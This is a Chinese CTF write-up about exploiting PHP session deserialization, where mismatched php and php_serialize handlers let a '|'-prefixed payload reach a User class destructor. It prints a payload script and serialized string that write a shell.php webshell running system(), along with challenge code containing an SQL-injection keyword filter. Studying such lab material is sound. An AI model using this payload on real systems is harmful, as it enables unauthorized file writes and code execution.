0x00前记
拿到题目后,感觉是一个盲注,一顿骚操作无果,然后群主就说了考点是反序列化。感觉应该是有源码泄露,试了一下,存在www.zip可以获得一个压缩包,解压后是几个文件,有一个CTFSHOIW.php有1000多行代码,我像个傻孩子对着它分析了3个多小时,但是毫无进展,想要构建的POP链好像都没有引用到对应的函数。然后我就去想着试试能不能在网上找到源码,还真找到了CTFSHOIW页面的源码,进行文本对比后,发现了存在的多个不同,但是在我一一验证后发现,这些不同的地方并没有被引用到,只是存在了定义,那说明漏洞应该不存在这个页面了。去别的页面看看了。
存在类的页面就剩inc.php了,其中定义了一个类,并且在它销毁时会调用file_put_contents()函数,存在写入的可能,并且应该是可以反序列化的,然后我就想着找unserialize()函数,然后啥也没得。既然没有快捷方式,那就继续代码审计了,对于类的页面肯定是最先开始的,找到了一个重要的考点
ini_set('session.serialize_handler', 'php');
//存在SESSION的反序列化内容
0x01SESSION反序列化
前提条件:session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户的session会被存在在指定目录(默认为/tmp/sess_ssesionid)
上述代码中有个session.serialize_handler的参数,它代表:session序列化和反序列化处理器,PHP内置了多种处理器用于存取$_SESSION数据时对数据进行序列化和反序列化,常用的处理器有三种,如下:
处理器 | 存储格式 |
---|---|
php | 键名+竖线+经过serialize()函数序列化处理的值 |
php_binary | 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 |
php_serialize(php>=5.5.4) | 经过serialize()函数序列化处理的数组 |
知道了序列化的格式后,可以自身构造我们想要反序列化的Payload,从而获得我们执行我们想要的操作。
PHP session反序列化漏洞,是由于网站序列化并存储session和反序列化读取session的方式存在不同时可能就导致session反序列化漏洞产生。简单说:本身php处理器和php_serialize处理器对于生成序列化没有问题,但是如果两者混合使用就会出现问题。使用session.serialize_handler = php_serialize模式存储的字符可以引入“|” , 再用session.serialize_handler = php格式取出$_SESSION的值时, “|”因为不能被识别,会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
0x02题目
inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
//创建了一个CTFSHOW的对象,啥作用果然还是得去另外一个看看
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查,过滤很多基本没啥可以利用的,这题的考点是反序列化,可能跟这个也没啥关系,继续看看
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
//最后是一个函数,不分析了暂时没想到他可以利用的地方
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
通过这一页的源代码可以构造我们所需要的Payload,在对象被销毁时触发魔术方法,然后写入文件
Payload.php
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new User('shell.php',"<?php system('tac *.php');?>");
echo serialize($a);
?>
//Payload:|O:4:"User":3:{s:8:"username";s:9:"shell.php";s:8:"password";s:28:"<?php system("tac *.php");?>";s:6:"status";N;}
//最后需要在Payload前面加上“|”在识别的时候分隔开
index.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
//上述可以看到,session被开启了,这里可以利用到它将我们的session传入
check.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
//这里主要是包含了inc.php文件,是我们要反序列化的地方
最后,访问index.php,然后访问check.php,执行反序列化,最后去访问反序列化的创建的文件,查看源代码即可。由于请求后,session会立刻被清空覆盖,所以这里还有一个考点是条件竞争,可以通过脚本或者bp实现。后续具体的实现步骤就不说了。
0x03后记
这个考点,其实Firebasky师傅早跟我说了好多次了,不过每次都没有认真学习,仅仅只是为了做题写过脚本。不过这次认真学了一下,以后遇到应该会记起来
0x04参考链接
https://mochazz.github.io/2019/01/29/PHP反序列化入门之session反序列化/#例题一
https://www.mi1k7ea.com/2019/04/21/PHP-session反序列化漏洞/